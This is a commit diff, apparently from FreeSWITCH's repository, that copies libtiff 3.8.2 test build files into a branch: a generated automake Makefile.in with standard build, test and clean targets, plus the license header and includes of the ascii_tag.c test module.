+ascii_tag_LDADD = $(LIBTIFF)
+long_tag_SOURCES = long_tag.c check_tag.c
+long_tag_LDADD = $(LIBTIFF)
+short_tag_SOURCES = short_tag.c check_tag.c
+short_tag_LDADD = $(LIBTIFF)
+strip_rw_SOURCES = strip_rw.c strip.c test_arrays.c test_arrays.h
+strip_rw_LDADD = $(LIBTIFF)
+
+INCLUDES = -I$(top_srcdir)/libtiff
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/test/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/test/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/test/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/test/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/test/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,607 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+check_PROGRAMS = ascii_tag$(EXEEXT) long_tag$(EXEEXT) \
+	short_tag$(EXEEXT) strip_rw$(EXEEXT)
+subdir = test
+DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+am_ascii_tag_OBJECTS = ascii_tag.$(OBJEXT)
+ascii_tag_OBJECTS = $(am_ascii_tag_OBJECTS)
+am__DEPENDENCIES_1 = $(top_builddir)/libtiff/libtiff.la
+ascii_tag_DEPENDENCIES = $(am__DEPENDENCIES_1)
+am_long_tag_OBJECTS = long_tag.$(OBJEXT) check_tag.$(OBJEXT)
+long_tag_OBJECTS = $(am_long_tag_OBJECTS)
+long_tag_DEPENDENCIES = $(am__DEPENDENCIES_1)
+am_short_tag_OBJECTS = short_tag.$(OBJEXT) check_tag.$(OBJEXT)
+short_tag_OBJECTS = $(am_short_tag_OBJECTS)
+short_tag_DEPENDENCIES = $(am__DEPENDENCIES_1)
+am_strip_rw_OBJECTS = strip_rw.$(OBJEXT) strip.$(OBJEXT) \
+	test_arrays.$(OBJEXT)
+strip_rw_OBJECTS = $(am_strip_rw_OBJECTS)
+strip_rw_DEPENDENCIES = $(am__DEPENDENCIES_1)
+DEFAULT_INCLUDES = -I. -I$(srcdir) -I$(top_builddir)/libtiff -I$(top_builddir)/libtiff
+depcomp = $(SHELL) $(top_srcdir)/config/depcomp
+am__depfiles_maybe = depfiles
+COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+	$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+LTCOMPILE = $(LIBTOOL) --tag=CC --mode=compile $(CC) $(DEFS) \
+	$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \
+	$(AM_CFLAGS) $(CFLAGS)
+CCLD = $(CC)
+LINK = $(LIBTOOL) --tag=CC --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+	$(AM_LDFLAGS) $(LDFLAGS) -o $@
+SOURCES = $(ascii_tag_SOURCES) $(long_tag_SOURCES) \
+	$(short_tag_SOURCES) $(strip_rw_SOURCES)
+DIST_SOURCES = $(ascii_tag_SOURCES) $(long_tag_SOURCES) \
+	$(short_tag_SOURCES) $(strip_rw_SOURCES)
+ETAGS = etags
+CTAGS = ctags
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+
+#EXTRA_DIST = Makefile.vc
+TESTS = $(check_PROGRAMS)
+ascii_tag_SOURCES = ascii_tag.c
+ascii_tag_LDADD = $(LIBTIFF)
+long_tag_SOURCES = long_tag.c check_tag.c
+long_tag_LDADD = $(LIBTIFF)
+short_tag_SOURCES = short_tag.c check_tag.c
+short_tag_LDADD = $(LIBTIFF)
+strip_rw_SOURCES = strip_rw.c strip.c test_arrays.c test_arrays.h
+strip_rw_LDADD = $(LIBTIFF)
+INCLUDES = -I$(top_srcdir)/libtiff
+all: all-am
+
+.SUFFIXES:
+.SUFFIXES: .c .lo .o .obj
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  test/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  test/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+clean-checkPROGRAMS:
+	@list='$(check_PROGRAMS)'; for p in $$list; do \
+	  f=`echo $$p|sed 's/$(EXEEXT)$$//'`; \
+	  echo " rm -f $$p $$f"; \
+	  rm -f $$p $$f ; \
+	done
+ascii_tag$(EXEEXT): $(ascii_tag_OBJECTS) $(ascii_tag_DEPENDENCIES) 
+	@rm -f ascii_tag$(EXEEXT)
+	$(LINK) $(ascii_tag_LDFLAGS) $(ascii_tag_OBJECTS) $(ascii_tag_LDADD) $(LIBS)
+long_tag$(EXEEXT): $(long_tag_OBJECTS) $(long_tag_DEPENDENCIES) 
+	@rm -f long_tag$(EXEEXT)
+	$(LINK) $(long_tag_LDFLAGS) $(long_tag_OBJECTS) $(long_tag_LDADD) $(LIBS)
+short_tag$(EXEEXT): $(short_tag_OBJECTS) $(short_tag_DEPENDENCIES) 
+	@rm -f short_tag$(EXEEXT)
+	$(LINK) $(short_tag_LDFLAGS) $(short_tag_OBJECTS) $(short_tag_LDADD) $(LIBS)
+strip_rw$(EXEEXT): $(strip_rw_OBJECTS) $(strip_rw_DEPENDENCIES) 
+	@rm -f strip_rw$(EXEEXT)
+	$(LINK) $(strip_rw_LDFLAGS) $(strip_rw_OBJECTS) $(strip_rw_LDADD) $(LIBS)
+
+mostlyclean-compile:
+	-rm -f *.$(OBJEXT)
+
+distclean-compile:
+	-rm -f *.tab.c
+
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/ascii_tag.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/check_tag.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/long_tag.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/short_tag.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/strip.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/strip_rw.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_arrays.Po@am__quote@
+
+.c.o:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c $<
+
+.c.obj:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c `$(CYGPATH_W) '$<'`
+
+.c.lo:
+@am__fastdepCC_TRUE@	if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(LTCOMPILE) -c -o $@ $<
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+	list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	mkid -fID $$unique
+tags: TAGS
+
+TAGS:  $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
+	  test -n "$$unique" || unique=$$empty_fix; \
+	  $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+	    $$tags $$unique; \
+	fi
+ctags: CTAGS
+CTAGS:  $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	test -z "$(CTAGS_ARGS)$$tags$$unique" \
+	  || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
+	     $$tags $$unique
+
+GTAGS:
+	here=`$(am__cd) $(top_builddir) && pwd` \
+	  && cd $(top_srcdir) \
+	  && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+	-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
+
+check-TESTS: $(TESTS)
+	@failed=0; all=0; xfail=0; xpass=0; skip=0; \
+	srcdir=$(srcdir); export srcdir; \
+	list='$(TESTS)'; \
+	if test -n "$$list"; then \
+	  for tst in $$list; do \
+	    if test -f ./$$tst; then dir=./; \
+	    elif test -f $$tst; then dir=; \
+	    else dir="$(srcdir)/"; fi; \
+	    if $(TESTS_ENVIRONMENT) $${dir}$$tst; then \
+	      all=`expr $$all + 1`; \
+	      case " $(XFAIL_TESTS) " in \
+	      *" $$tst "*) \
+		xpass=`expr $$xpass + 1`; \
+		failed=`expr $$failed + 1`; \
+		echo "XPASS: $$tst"; \
+	      ;; \
+	      *) \
+		echo "PASS: $$tst"; \
+	      ;; \
+	      esac; \
+	    elif test $$? -ne 77; then \
+	      all=`expr $$all + 1`; \
+	      case " $(XFAIL_TESTS) " in \
+	      *" $$tst "*) \
+		xfail=`expr $$xfail + 1`; \
+		echo "XFAIL: $$tst"; \
+	      ;; \
+	      *) \
+		failed=`expr $$failed + 1`; \
+		echo "FAIL: $$tst"; \
+	      ;; \
+	      esac; \
+	    else \
+	      skip=`expr $$skip + 1`; \
+	      echo "SKIP: $$tst"; \
+	    fi; \
+	  done; \
+	  if test "$$failed" -eq 0; then \
+	    if test "$$xfail" -eq 0; then \
+	      banner="All $$all tests passed"; \
+	    else \
+	      banner="All $$all tests behaved as expected ($$xfail expected failures)"; \
+	    fi; \
+	  else \
+	    if test "$$xpass" -eq 0; then \
+	      banner="$$failed of $$all tests failed"; \
+	    else \
+	      banner="$$failed of $$all tests did not behave as expected ($$xpass unexpected passes)"; \
+	    fi; \
+	  fi; \
+	  dashes="$$banner"; \
+	  skipped=""; \
+	  if test "$$skip" -ne 0; then \
+	    skipped="($$skip tests were not run)"; \
+	    test `echo "$$skipped" | wc -c` -le `echo "$$banner" | wc -c` || \
+	      dashes="$$skipped"; \
+	  fi; \
+	  report=""; \
+	  if test "$$failed" -ne 0 && test -n "$(PACKAGE_BUGREPORT)"; then \
+	    report="Please report to $(PACKAGE_BUGREPORT)"; \
+	    test `echo "$$report" | wc -c` -le `echo "$$banner" | wc -c` || \
+	      dashes="$$report"; \
+	  fi; \
+	  dashes=`echo "$$dashes" | sed s/./=/g`; \
+	  echo "$$dashes"; \
+	  echo "$$banner"; \
+	  test -z "$$skipped" || echo "$$skipped"; \
+	  test -z "$$report" || echo "$$report"; \
+	  echo "$$dashes"; \
+	  test "$$failed" -eq 0; \
+	else :; fi
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+	$(MAKE) $(AM_MAKEFLAGS) $(check_PROGRAMS)
+	$(MAKE) $(AM_MAKEFLAGS) check-TESTS
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-checkPROGRAMS clean-generic clean-libtool \
+	mostlyclean-am
+
+distclean: distclean-am
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+distclean-am: clean-am distclean-compile distclean-generic \
+	distclean-libtool distclean-tags
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-compile mostlyclean-generic \
+	mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: CTAGS GTAGS all all-am check check-TESTS check-am clean \
+	clean-checkPROGRAMS clean-generic clean-libtool ctags \
+	distclean distclean-compile distclean-generic \
+	distclean-libtool distclean-tags distdir dvi dvi-am html \
+	html-am info info-am install install-am install-data \
+	install-data-am install-exec install-exec-am install-info \
+	install-info-am install-man install-strip installcheck \
+	installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-compile \
+	mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \
+	tags uninstall uninstall-am uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/test/ascii_tag.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/test/ascii_tag.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/test/ascii_tag.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/test/ascii_tag.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/test/ascii_tag.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,170 @@
+/* $Id: ascii_tag.c,v 1.5 2006/03/23 14:54:02 dron Exp $ */
+
+/*
+ * Copyright (c) 2004, Andrey Kiselev  <dron@ak4719.spb.edu>
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Module to test ASCII tags read/write functions.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <string.h>
+
+#ifdef HAVE_UNISTD_H 
+# include <unistd.h> 
+#endif 
+
